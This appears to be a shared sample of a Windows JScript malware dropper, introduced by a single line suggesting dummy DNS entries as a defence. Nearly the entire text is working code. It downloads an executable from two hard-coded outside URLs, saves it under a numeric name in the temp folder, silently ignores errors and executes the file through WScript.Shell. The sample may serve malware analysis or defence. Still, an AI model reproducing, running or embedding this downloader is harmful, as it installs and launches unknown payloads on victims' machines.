To avoid this type of attack create a dummy DNS for URLS

var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;

var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;


var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);

var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;


for (var v = 0; v < URLS.length; v++) {
    try {
        var url = URLS[v];
        httpRequest.open(METHOD_GET, url, false);
        httpRequest.send();
        if (httpRequest.status == STATUS_OK) {
            try {
                stream.open();
                stream.type = 1;
                stream.write(httpRequest.responseBody);
                if (stream.size > MIN_FILE_SIZE) {
                    v = URLS.length;
                    stream.position = 0;
                    stream.saveToFile(storedFilePathName, 2);
                }
            } finally {
                stream.close();
            }
        }
    }
    catch (ignored) {
    }
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));